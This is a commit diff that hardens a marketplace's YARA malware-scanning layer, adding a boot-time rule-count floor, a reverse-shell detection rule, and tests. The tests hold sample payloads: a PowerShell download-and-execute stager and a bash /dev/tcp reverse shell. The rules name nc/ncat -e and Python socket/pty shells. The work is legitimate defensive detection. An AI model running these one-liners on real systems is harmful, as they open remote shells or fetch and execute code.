Skip to main content

max / makenotwork

Fix SEC-S2: harden YARA corpus floor + expand conservative ruleset The YARA boot floor (assert_live) existed but YARA_MIN_RULE_FILES defaulted to 0 (off), so a hollow or silently-shrunk corpus passed as a live layer. The corpus was also one file / two rules. - Default YARA_MIN_RULE_FILES to DEFAULT_YARA_MIN_RULE_FILES (= bundled corpus size) so a silent compile-drop fails boot loudly by default, not opt-in. - Split + expand the corpus into three files: eicar test vector, script downloaders (existing, +wget), and a new low-false-positive reverse-shell one-liner rule (bash /dev/tcp, nc/ncat -e, python socket+pty/dup2). Kept conservative on purpose: creators sell arbitrary software/scripts, so aggressive heuristics would false-positive on legitimate paid uploads; ClamAV + MalwareBazaar/MetaDefender carry the real signature load and untrusted uploads are held for review regardless. - Tests: shipped_corpus_is_healthy pins that the bundled corpus compiles, its file count matches the floor constant (drift guard), and each rule fires on a sample while clean content passes; assert_live floor enforcement (degraded corpus refuses boot; corpus meeting the floor boots). Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
Author: Max Johnson <me@maxj.phd> · 2026-06-18 00:58 UTC
Commit: b19a53f8e5da80bc451c4ab9465567625673a31a
Parent: 784e61b
7 files changed, +138 insertions, -31 deletions
@@ -475,13 +475,21 @@ pub struct ScanConfig {
475 475 /// invoked when another layer flagged the file as suspicious.
476 476 pub metadefender_api_key: Option<String>,
477 477 /// Minimum number of YARA rule files that must compile for the corpus to be
478 - /// considered healthy. `0` disables the check (default). Set it to the known
479 - /// deployed corpus size so a silent drop (a dependency/format change that
480 - /// makes rules uncompilable) fails boot loudly rather than degrading
481 - /// coverage unnoticed.
478 + /// considered healthy. `0` disables the check. Defaults to
479 + /// [`DEFAULT_YARA_MIN_RULE_FILES`] (the size of the bundled corpus) so a
480 + /// silent drop — a dependency/format change that makes rules uncompilable —
481 + /// fails boot loudly rather than degrading coverage unnoticed. Set it
482 + /// explicitly when pointing `YARA_RULES_DIR` at a larger external corpus.
482 483 pub yara_min_rule_files: usize,
483 484 }
484 485
486 + /// Floor for [`ScanConfig::yara_min_rule_files`], matching the count of `.yar`
487 + /// files bundled in `server/yara-rules/`. Kept in sync by
488 + /// `scanning::yara::tests::shipped_corpus_is_healthy`, which fails if the
489 + /// bundled corpus count drifts from this value. Bumping the corpus means
490 + /// bumping this constant (and the test catches a forgotten bump).
491 + pub const DEFAULT_YARA_MIN_RULE_FILES: usize = 3;
492 +
485 493 impl ScanConfig {
486 494 /// Load scan configuration from environment variables.
487 495 /// Returns Some if SCAN_ENABLED=true (default), None if explicitly disabled.
@@ -509,7 +517,7 @@ impl ScanConfig {
509 517 yara_min_rule_files: std::env::var("YARA_MIN_RULE_FILES")
510 518 .ok()
511 519 .and_then(|v| v.parse().ok())
512 - .unwrap_or(0),
520 + .unwrap_or(DEFAULT_YARA_MIN_RULE_FILES),
513 521 })
514 522 }
515 523 }
@@ -644,6 +644,44 @@ mod tests {
644 644 })
645 645 }
646 646
647 + /// SEC-S2: a corpus that compiled fewer rule files than the configured floor
648 + /// is degraded coverage masquerading as a live layer — boot must fail closed.
649 + #[tokio::test]
650 + async fn assert_live_refuses_degraded_yara_corpus() {
651 + let mut compiler = yara_x::Compiler::new();
652 + compiler.add_source(r#"rule r { strings: $a = "x" condition: $a }"#).unwrap();
653 + let pipeline = std::sync::Arc::new(ScanPipeline {
654 + yara_rules: Some(compiler.build()),
655 + yara_rule_count: 1,
656 + yara_min_rule_files: 2,
657 + clamav_socket: None,
658 + malwarebazaar_enabled: false,
659 + urlhaus_enabled: false,
660 + abuse_ch_auth_key: None,
661 + metadefender_api_key: None,
662 + });
663 + let err = pipeline.assert_live().await.expect_err("degraded corpus must refuse boot");
664 + assert!(err.contains("YARA corpus degraded"), "unexpected error: {err}");
665 + }
666 +
667 + /// The complement: a corpus meeting the floor boots, with YARA counted live.
668 + #[tokio::test]
669 + async fn assert_live_accepts_corpus_meeting_floor() {
670 + let mut compiler = yara_x::Compiler::new();
671 + compiler.add_source(r#"rule r { strings: $a = "x" condition: $a }"#).unwrap();
672 + let pipeline = std::sync::Arc::new(ScanPipeline {
673 + yara_rules: Some(compiler.build()),
674 + yara_rule_count: 3,
675 + yara_min_rule_files: 3,
676 + clamav_socket: None,
677 + malwarebazaar_enabled: false,
678 + urlhaus_enabled: false,
679 + abuse_ch_auth_key: None,
680 + metadefender_api_key: None,
681 + });
682 + pipeline.assert_live().await.expect("a corpus meeting the floor must boot");
683 + }
684 +
647 685 #[tokio::test]
648 686 async fn pipeline_clean_download_passes() {
649 687 let pipeline = make_pipeline();
@@ -431,6 +431,42 @@ mod tests {
431 431 assert_eq!(count, 1, "the one valid file compiled; the bad one was skipped");
432 432 }
433 433
434 + /// The bundled `server/yara-rules/` corpus must compile, its file count must
435 + /// match `DEFAULT_YARA_MIN_RULE_FILES` (so adding/removing a rule file forces
436 + /// updating the floor constant — drift guard), and each shipped rule must
437 + /// actually fire on a representative sample while clean creative content
438 + /// passes. This is the regression net for SEC-S2: a silently-broken or
439 + /// silently-shrunk corpus fails here at test time, and the boot floor catches
440 + /// it in production.
441 + #[test]
442 + fn shipped_corpus_is_healthy() {
443 + let dir = concat!(env!("CARGO_MANIFEST_DIR"), "/yara-rules");
444 + let (rules, count) = compile_rules_from_dir(dir).expect("bundled corpus must compile");
445 + let rules = rules.expect("bundled corpus must produce rules");
446 + assert_eq!(
447 + count,
448 + crate::config::DEFAULT_YARA_MIN_RULE_FILES,
449 + "bundled .yar file count drifted from DEFAULT_YARA_MIN_RULE_FILES — \
450 + update the constant (and the boot floor it feeds)"
451 + );
452 +
453 + // EICAR test vector fires.
454 + let eicar = br"X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*";
455 + assert_eq!(scan_with_yara(&rules, eicar).verdict, LayerVerdict::Fail, "eicar must match");
456 +
457 + // Script-downloader stager fires (two PowerShell tokens).
458 + let downloader = b"powershell -nop -c IEX (New-Object Net.WebClient).DownloadString('http://x/y')";
459 + assert_eq!(scan_with_yara(&rules, downloader).verdict, LayerVerdict::Fail, "downloader must match");
460 +
461 + // Reverse-shell one-liner fires (bash /dev/tcp idiom).
462 + let revshell = b"bash -i >& /dev/tcp/10.0.0.1/4444 0>&1";
463 + assert_eq!(scan_with_yara(&rules, revshell).verdict, LayerVerdict::Fail, "reverse shell must match");
464 +
465 + // Ordinary content with none of the idioms passes (false-positive guard).
466 + let clean = b"a perfectly normal track description mentioning a shell on the beach";
467 + assert_eq!(scan_with_yara(&rules, clean).verdict, LayerVerdict::Pass, "clean content must pass");
468 + }
469 +
434 470 #[test]
435 471 fn default_namespace_rule_is_unprefixed() {
436 472 // Catches the L79 `==` → `!=` mutation. The function emits "rule" for
@@ -1,26 +0,0 @@
1 - // MakeNotWork custom YARA rules
2 - // Platform-specific threats and common test patterns
3 -
4 - rule eicar_test_file {
5 - meta:
6 - description = "EICAR anti-virus test file"
7 - reference = "https://www.eicar.org/download-anti-malware-testfile/"
8 - strings:
9 - $eicar = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*"
10 - condition:
11 - $eicar
12 - }
13 -
14 - rule suspicious_script_in_binary {
15 - meta:
16 - description = "Executable containing embedded script downloaders"
17 - strings:
18 - $ps1 = "powershell" ascii nocase
19 - $ps2 = "Invoke-Expression" ascii nocase
20 - $ps3 = "DownloadString" ascii nocase
21 - $bash1 = "curl " ascii
22 - $bash2 = "| bash" ascii
23 - $bash3 = "| sh" ascii
24 - condition:
25 - (2 of ($ps*)) or ($bash1 and ($bash2 or $bash3))
26 - }
@@ -0,0 +1,21 @@
1 + // MakeNotWork - interactive reverse-shell one-liners.
2 + // These idioms are extremely specific to remote-shell payloads and effectively
3 + // never appear in audio/image/video/archive creative content. Untrusted uploads
4 + // are held for review regardless; this catches the obvious stagers in-process.
5 +
6 + rule reverse_shell_oneliner {
7 + meta:
8 + description = "Classic interactive reverse-shell one-liners (bash/nc/python)"
9 + strings:
10 + $bash_devtcp = "/dev/tcp/" ascii // bash -i >& /dev/tcp/host/port 0>&1
11 + $bash_redir = ">&" ascii
12 + $nc_e = "nc -e /bin/" ascii
13 + $ncat_e = "ncat -e /bin/" ascii
14 + $py_rs = "import socket,subprocess,os" ascii
15 + $py_pty = "pty.spawn(\"/bin/sh\")" ascii nocase
16 + $py_dup2 = "subprocess.call([\"/bin/sh\",\"-i\"]" ascii nocase
17 + condition:
18 + ($bash_devtcp and $bash_redir)
19 + or $nc_e or $ncat_e
20 + or ($py_rs and ($py_pty or $py_dup2))
21 + }
@@ -0,0 +1,19 @@
1 + // MakeNotWork - embedded script downloaders / stagers.
2 + // Conservative: a binary/asset that bundles a remote-fetch-and-execute stager
3 + // is highly suspicious for a creative-content marketplace. Multi-token
4 + // conditions keep false positives off legitimate code samples.
5 +
6 + rule suspicious_script_in_binary {
7 + meta:
8 + description = "Executable/asset containing embedded script downloaders"
9 + strings:
10 + $ps1 = "powershell" ascii nocase
11 + $ps2 = "Invoke-Expression" ascii nocase
12 + $ps3 = "DownloadString" ascii nocase
13 + $bash1 = "curl " ascii
14 + $bash2 = "| bash" ascii
15 + $bash3 = "| sh" ascii
16 + $wget1 = "wget " ascii
17 + condition:
18 + (2 of ($ps*)) or (($bash1 or $wget1) and ($bash2 or $bash3))
19 + }
@@ -0,0 +1,11 @@
1 + // MakeNotWork - AV test vectors (deterministic, zero false positives).
2 +
3 + rule eicar_test_file {
4 + meta:
5 + description = "EICAR anti-virus test file"
6 + reference = "https://www.eicar.org/download-anti-malware-testfile/"
7 + strings:
8 + $eicar = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*"
9 + condition:
10 + $eicar
11 + }